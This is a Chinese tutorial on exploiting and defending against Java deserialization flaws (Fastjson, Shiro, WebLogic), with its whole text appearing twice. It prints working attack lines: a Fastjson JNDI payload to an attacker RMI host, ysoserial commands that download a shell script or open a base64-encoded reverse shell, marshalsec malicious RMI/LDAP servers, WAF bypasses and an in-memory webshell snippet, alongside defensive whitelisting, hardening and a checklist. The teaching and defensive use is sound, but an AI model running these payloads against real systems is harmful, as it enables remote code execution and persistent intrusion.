1. 反序列化漏洞实战利用解析1.1 漏洞利用基础环境搭建在开始实战前我们需要准备一个安全的测试环境。推荐使用Docker快速搭建隔离的靶场系统这里以Vulhub的Java反序列化漏洞环境为例# 下载Vulhub环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/java/deserialization # 启动靶机环境 docker-compose up -d这个环境模拟了常见的Java反序列化漏洞场景包含Fastjson、Jackson等组件的漏洞版本。在实际测试中我强烈建议使用虚拟机或云服务器搭建环境避免对本地系统造成影响。重要提示所有漏洞测试必须在自己拥有完全控制权的环境中进行未经授权的测试可能涉及法律风险。1.2 典型漏洞利用链分析以Fastjson 1.2.24版本的反序列化漏洞为例其核心问题在于autotype功能未严格校验反序列化的类名。攻击者可以构造特殊的JSON数据在目标服务器上执行任意代码{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://attacker-ip:1099/Exploit, autoCommit:true }这个payload利用了JNDI注入漏洞当Fastjson反序列化这个JSON时会尝试连接指定的RMI服务加载远程恶意类。我在实际测试中发现这种攻击方式成功率很高特别是在未更新JDK版本的环境中。1.3 漏洞利用工具实战ysoserial是目前最流行的Java反序列化漏洞利用工具支持多种gadget chain。以下是典型的使用方法# 生成CommonsCollections利用payload java -jar ysoserial.jar CommonsCollections1 curl http://attacker.com/shell.sh -o /tmp/shell.sh payload.bin # 使用curl发送payload curl -X POST --data-binary payload.bin http://target:8080/vulnerable-endpoint在实际渗透测试中我发现不同Java库的版本对gadget chain的兼容性影响很大。例如CommonsCollections3.2.2以下版本更容易利用而新版本则需要寻找其他利用链。2. 主流工具深度解析2.1 ysoserial高级用法ysoserial支持多种payload生成方式以下是我在实际项目中总结的几个实用技巧内存马注入通过自定义ClassLoader实现无文件驻留java -jar ysoserial.jar CommonsCollections5 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ}|{base64,-d}|{bash,-i} payload.bin绕过WAF使用URL编码或Unicode转义特殊字符String payload URLEncoder.encode(serializedData, UTF-8);多阶段利用先上传轻量级loader再动态加载复杂payload2.2 marshalsec工具使用marshalsec是搭建恶意RMI/LDAP服务的利器配合ysoserial使用效果更佳# 启动恶意RMI服务 java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://attacker.com/#Exploit 1099 # 启动恶意LDAP服务 java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker.com/#Exploit 1389我在实际测试中发现某些网络环境会拦截RMI流量但LDAP协议通常能顺利通过防火墙。2.3 BurpSuite插件辅助Java Deserialization Scanner是BurpSuite中检测反序列化漏洞的必备插件。使用技巧包括配置自定义gadget chain检测规则设置延时检测payload如DNS查询使用内存分析模式检测潜在漏洞3. 企业级防御方案设计3.1 输入验证与过滤在代码层面我建议采用以下防御措施// 使用白名单校验反序列化类 ObjectInputStream ois new ObjectInputStream(inputStream) { Override protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().startsWith(com.safe.package.)) { throw new InvalidClassException(Unauthorized deserialization attempt); } return super.resolveClass(desc); } };对于JSON反序列化Fastjson的安全配置示例ParserConfig config new ParserConfig(); config.setSafeMode(true); // 开启安全模式 JSON.parse(jsonString, config);3.2 运行时防护在生产环境中我推荐部署以下防护方案RASP防护安装Java Agent进行运行时检测-javaagent:rasp.jar -Drasp.security.enabletrueJVM参数加固-Dcom.sun.jndi.rmi.object.trustURLCodebasefalse -Dcom.sun.jndi.ldap.object.trustURLCodebasefalseWAF规则配置针对常见反序列化payload的特征检测3.3 安全开发实践从开发流程上防范反序列化漏洞依赖管理!-- Maven依赖版本控制示例 -- dependency groupIdcom.alibaba/groupId artifactIdfastjson/artifactId version1.2.83/version !-- 使用安全版本 -- /dependency代码审计在CI/CD流程中加入反序列化漏洞扫描# 使用OWASP Dependency-Check扫描 dependency-check.sh --project MyApp --scan ./lib员工培训定期进行安全编码培训特别是对新入职开发人员4. 典型漏洞案例分析4.1 Fastjson 1.2.24漏洞详解这个版本的autotype功能存在设计缺陷攻击者可以通过精心构造的JSON触发任意代码执行。我在实际审计中发现以下特征可能表明存在漏洞JSON.parse(jsonString); // 直接使用默认配置 JSON.parseObject(jsonString, Object.class); // 反序列化为通用Object修复方案包括升级到1.2.83及以上版本配置ParserConfig.setSafeMode(true)使用TypeReference指定具体类型4.2 Shiro RememberMe漏洞Apache Shiro的rememberMe功能使用AES加密的序列化cookie但硬编码密钥导致反序列化漏洞// 典型攻击cookie结构 rememberMebase64(AES(payload, hardcodedKey))防御措施修改默认密钥升级到1.2.6版本禁用rememberMe功能4.3 WebLogic T3协议漏洞WebLogic的T3协议在反序列化数据时未做充分校验导致多个高危漏洞。我在企业环境中发现很多管理员忽略了T3端口的访问控制# 检测T3服务是否开放 telnet weblogic-server 7001防护建议限制T3协议访问IP安装最新补丁使用WebLogic自带的过滤规则5. 高级利用与绕过技术5.1 内存马注入技术相比传统webshell内存马更难被检测。我常用的注入方式包括Filter型内存马通过动态添加Filter实现持久化Servlet型内存马注册恶意Servlet处理请求Agent型内存马通过Java Agent机制注入示例代码片段// 动态注册Filter Filter filter new MaliciousFilter(); FilterRegistration.Dynamic dynamic servletContext.addFilter(randomName, filter); dynamic.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, /*);5.2 类加载器绕过当遇到严格的类白名单时可以尝试利用已加载类通过ClassLoader.getSystemClassLoader()获取已加载类BCEL编码使用Apache BCEL特性绕过部分检查JNDI上下文绕过利用上下文类加载器机制5.3 反序列化Gadget创新随着防护措施加强传统的gadget chain可能失效。我在最新研究中发现利用Javassist动态生成类避免直接使用黑名单类结合模板引擎如FreeMarker、Velocity的表达式注入JDBC连接池利用通过数据源配置执行命令6. 企业级防护体系建设6.1 纵深防御架构设计成熟的防护体系应该包含多个层次边界防护WAF、API网关过滤恶意请求应用防护RASP实时阻断攻击行为主机防护HIDS监控异常进程活动网络防护NIDS检测异常流量模式6.2 安全监控与响应建立完善的安全事件响应流程日志收集集中存储所有反序列化操作日志异常检测设置合理的阈值告警规则应急响应预定义漏洞处置预案6.3 持续安全评估建议每季度进行一次全面的反序列化漏洞评估组件扫描检查所有Java依赖的版本配置审计验证所有安全配置是否生效渗透测试模拟真实攻击测试防护效果7. 开发者自查清单作为Java开发者我总结了一份安全自查清单[ ] 是否使用了最新稳定版本的序列化组件[ ] 是否禁用了不必要的序列化功能[ ] 是否实现了严格的输入验证[ ] 是否配置了适当的安全选项[ ] 是否定期扫描依赖库的漏洞[ ] 是否对敏感操作进行了日志记录[ ] 是否在生产环境部署了RASP防护[ ] 是否对团队进行了安全培训在实际项目中我发现很多漏洞都是由于开发人员忽视了基本的安全实践导致的。养成这些安全习惯可以预防大部分反序列化漏洞。 
长河君 · 2026/10/27 2:57:26 · 阅读 1.2k Java反序列化漏洞实战与防御指南
1. 反序列化漏洞实战利用解析1.1 漏洞利用基础环境搭建在开始实战前我们需要准备一个安全的测试环境。推荐使用Docker快速搭建隔离的靶场系统这里以Vulhub的Java反序列化漏洞环境为例# 下载Vulhub环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/java/deserialization # 启动靶机环境 docker-compose up -d这个环境模拟了常见的Java反序列化漏洞场景包含Fastjson、Jackson等组件的漏洞版本。在实际测试中我强烈建议使用虚拟机或云服务器搭建环境避免对本地系统造成影响。重要提示所有漏洞测试必须在自己拥有完全控制权的环境中进行未经授权的测试可能涉及法律风险。1.2 典型漏洞利用链分析以Fastjson 1.2.24版本的反序列化漏洞为例其核心问题在于autotype功能未严格校验反序列化的类名。攻击者可以构造特殊的JSON数据在目标服务器上执行任意代码{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://attacker-ip:1099/Exploit, autoCommit:true }这个payload利用了JNDI注入漏洞当Fastjson反序列化这个JSON时会尝试连接指定的RMI服务加载远程恶意类。我在实际测试中发现这种攻击方式成功率很高特别是在未更新JDK版本的环境中。1.3 漏洞利用工具实战ysoserial是目前最流行的Java反序列化漏洞利用工具支持多种gadget chain。以下是典型的使用方法# 生成CommonsCollections利用payload java -jar ysoserial.jar CommonsCollections1 curl http://attacker.com/shell.sh -o /tmp/shell.sh payload.bin # 使用curl发送payload curl -X POST --data-binary payload.bin http://target:8080/vulnerable-endpoint在实际渗透测试中我发现不同Java库的版本对gadget chain的兼容性影响很大。例如CommonsCollections3.2.2以下版本更容易利用而新版本则需要寻找其他利用链。2. 主流工具深度解析2.1 ysoserial高级用法ysoserial支持多种payload生成方式以下是我在实际项目中总结的几个实用技巧内存马注入通过自定义ClassLoader实现无文件驻留java -jar ysoserial.jar CommonsCollections5 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ}|{base64,-d}|{bash,-i} payload.bin绕过WAF使用URL编码或Unicode转义特殊字符String payload URLEncoder.encode(serializedData, UTF-8);多阶段利用先上传轻量级loader再动态加载复杂payload2.2 marshalsec工具使用marshalsec是搭建恶意RMI/LDAP服务的利器配合ysoserial使用效果更佳# 启动恶意RMI服务 java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://attacker.com/#Exploit 1099 # 启动恶意LDAP服务 java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker.com/#Exploit 1389我在实际测试中发现某些网络环境会拦截RMI流量但LDAP协议通常能顺利通过防火墙。2.3 BurpSuite插件辅助Java Deserialization Scanner是BurpSuite中检测反序列化漏洞的必备插件。使用技巧包括配置自定义gadget chain检测规则设置延时检测payload如DNS查询使用内存分析模式检测潜在漏洞3. 企业级防御方案设计3.1 输入验证与过滤在代码层面我建议采用以下防御措施// 使用白名单校验反序列化类 ObjectInputStream ois new ObjectInputStream(inputStream) { Override protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().startsWith(com.safe.package.)) { throw new InvalidClassException(Unauthorized deserialization attempt); } return super.resolveClass(desc); } };对于JSON反序列化Fastjson的安全配置示例ParserConfig config new ParserConfig(); config.setSafeMode(true); // 开启安全模式 JSON.parse(jsonString, config);3.2 运行时防护在生产环境中我推荐部署以下防护方案RASP防护安装Java Agent进行运行时检测-javaagent:rasp.jar -Drasp.security.enabletrueJVM参数加固-Dcom.sun.jndi.rmi.object.trustURLCodebasefalse -Dcom.sun.jndi.ldap.object.trustURLCodebasefalseWAF规则配置针对常见反序列化payload的特征检测3.3 安全开发实践从开发流程上防范反序列化漏洞依赖管理!-- Maven依赖版本控制示例 -- dependency groupIdcom.alibaba/groupId artifactIdfastjson/artifactId version1.2.83/version !-- 使用安全版本 -- /dependency代码审计在CI/CD流程中加入反序列化漏洞扫描# 使用OWASP Dependency-Check扫描 dependency-check.sh --project MyApp --scan ./lib员工培训定期进行安全编码培训特别是对新入职开发人员4. 典型漏洞案例分析4.1 Fastjson 1.2.24漏洞详解这个版本的autotype功能存在设计缺陷攻击者可以通过精心构造的JSON触发任意代码执行。我在实际审计中发现以下特征可能表明存在漏洞JSON.parse(jsonString); // 直接使用默认配置 JSON.parseObject(jsonString, Object.class); // 反序列化为通用Object修复方案包括升级到1.2.83及以上版本配置ParserConfig.setSafeMode(true)使用TypeReference指定具体类型4.2 Shiro RememberMe漏洞Apache Shiro的rememberMe功能使用AES加密的序列化cookie但硬编码密钥导致反序列化漏洞// 典型攻击cookie结构 rememberMebase64(AES(payload, hardcodedKey))防御措施修改默认密钥升级到1.2.6版本禁用rememberMe功能4.3 WebLogic T3协议漏洞WebLogic的T3协议在反序列化数据时未做充分校验导致多个高危漏洞。我在企业环境中发现很多管理员忽略了T3端口的访问控制# 检测T3服务是否开放 telnet weblogic-server 7001防护建议限制T3协议访问IP安装最新补丁使用WebLogic自带的过滤规则5. 高级利用与绕过技术5.1 内存马注入技术相比传统webshell内存马更难被检测。我常用的注入方式包括Filter型内存马通过动态添加Filter实现持久化Servlet型内存马注册恶意Servlet处理请求Agent型内存马通过Java Agent机制注入示例代码片段// 动态注册Filter Filter filter new MaliciousFilter(); FilterRegistration.Dynamic dynamic servletContext.addFilter(randomName, filter); dynamic.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, /*);5.2 类加载器绕过当遇到严格的类白名单时可以尝试利用已加载类通过ClassLoader.getSystemClassLoader()获取已加载类BCEL编码使用Apache BCEL特性绕过部分检查JNDI上下文绕过利用上下文类加载器机制5.3 反序列化Gadget创新随着防护措施加强传统的gadget chain可能失效。我在最新研究中发现利用Javassist动态生成类避免直接使用黑名单类结合模板引擎如FreeMarker、Velocity的表达式注入JDBC连接池利用通过数据源配置执行命令6. 企业级防护体系建设6.1 纵深防御架构设计成熟的防护体系应该包含多个层次边界防护WAF、API网关过滤恶意请求应用防护RASP实时阻断攻击行为主机防护HIDS监控异常进程活动网络防护NIDS检测异常流量模式6.2 安全监控与响应建立完善的安全事件响应流程日志收集集中存储所有反序列化操作日志异常检测设置合理的阈值告警规则应急响应预定义漏洞处置预案6.3 持续安全评估建议每季度进行一次全面的反序列化漏洞评估组件扫描检查所有Java依赖的版本配置审计验证所有安全配置是否生效渗透测试模拟真实攻击测试防护效果7. 开发者自查清单作为Java开发者我总结了一份安全自查清单[ ] 是否使用了最新稳定版本的序列化组件[ ] 是否禁用了不必要的序列化功能[ ] 是否实现了严格的输入验证[ ] 是否配置了适当的安全选项[ ] 是否定期扫描依赖库的漏洞[ ] 是否对敏感操作进行了日志记录[ ] 是否在生产环境部署了RASP防护[ ] 是否对团队进行了安全培训在实际项目中我发现很多漏洞都是由于开发人员忽视了基本的安全实践导致的。养成这些安全习惯可以预防大部分反序列化漏洞。